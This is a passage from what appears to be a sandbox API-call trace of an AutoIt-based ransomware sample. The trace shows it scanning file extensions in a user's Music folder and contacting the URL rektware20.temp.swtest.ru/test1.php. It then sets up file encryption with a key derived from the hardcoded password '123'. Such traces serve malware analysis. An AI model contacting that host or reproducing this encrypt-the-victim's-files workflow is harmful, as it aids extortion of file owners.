lpString1="LxtGe9ks2i\\KCbcQi5Tkc4UphT\\Nclphp6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xtGe9ks2i\\KCbcQi5Tkc4UphT\\Nclphp6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tGe9ks2i\\KCbcQi5Tkc4UphT\\Nclphp6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ge9ks2i\\KCbcQi5Tkc4UphT\\Nclphp6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="e9ks2i\\KCbcQi5Tkc4UphT\\Nclphp6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="9ks2i\\KCbcQi5Tkc4UphT\\Nclphp6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.664] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ks2i\\KCbcQi5Tkc4UphT\\Nclphp6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s2i\\KCbcQi5Tkc4UphT\\Nclphp6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2i\\KCbcQi5Tkc4UphT\\Nclphp6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="i\\KCbcQi5Tkc4UphT\\Nclphp6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\KCbcQi5Tkc4UphT\\Nclphp6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="KCbcQi5Tkc4UphT\\Nclphp6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CbcQi5Tkc4UphT\\Nclphp6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bcQi5Tkc4UphT\\Nclphp6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cQi5Tkc4UphT\\Nclphp6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Qi5Tkc4UphT\\Nclphp6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="i5Tkc4UphT\\Nclphp6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5Tkc4UphT\\Nclphp6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Tkc4UphT\\Nclphp6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kc4UphT\\Nclphp6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="c4UphT\\Nclphp6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4UphT\\Nclphp6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="UphT\\Nclphp6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="phT\\Nclphp6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="hT\\Nclphp6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="T\\Nclphp6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Nclphp6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Nclphp6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="clphp6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lphp6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="php6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="hp6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DKlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="KlJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lJUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="JUBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="UBz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.665] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Bz.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.666] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="z.wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.666] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0063.666] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="wav", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.666] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.666] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0063.666] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0063.666] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0063.666] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0063.666] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0063.666] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0063.666] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0063.666] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f70, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620f70, lpdwBufferLength=0x130ee1c) returned 1 [0063.666] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0063.666] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0063.666] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0063.667] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0063.667] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0063.667] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0063.667] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16291f0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16291f0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0063.667] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16293b0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16293b0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0063.667] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0063.667] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0063.667] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0063.667] CloseHandle (hObject=0x0) returned 0 [0063.667] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.667] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\HLxtGe9ks2i\\KCbcQi5Tkc4UphT\\Nclphp6DKlJUBz.wav", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d070 [0063.667] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0063.668] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.668] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0063.668] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.668] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.668] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0063.668] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.668] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0063.668] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.668] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.668] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0063.668] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.669] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.669] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.669] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.669] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.669] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0063.669] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0063.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0063.669] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0063.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0063.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0063.669] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0063.670] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17abc38) returned 1 [0063.670] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.670] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.670] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0063.670] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.670] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.670] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.670] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.670] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.670] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0063.670] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.670] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.670] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.670] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.670] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.671] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.671] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0063.671] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.671] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.671] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0063.671] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.671] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.671] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0063.671] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.671] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.671] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0063.671] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.671] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.671] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.671] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.671] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.671] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.671] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.671] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0063.671] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.671] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0063.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16215b8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0063.672] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0063.672] CryptCreateHash (in: hProv=0x17abc38, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0063.672] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.672] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.672] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.672] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0063.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629610, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0063.672] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0063.672] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0063.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16295f0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0063.672] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.672] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.672] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.672] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0063.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621768, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0063.672] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0063.673] CryptHashData (hHash=0x164c870, pbData=0x1629610, dwDataLen=0x3, dwFlags=0x1) returned 1 [0063.673] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.673] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.673] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.673] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.673] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.673] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0063.673] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0063.673] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, 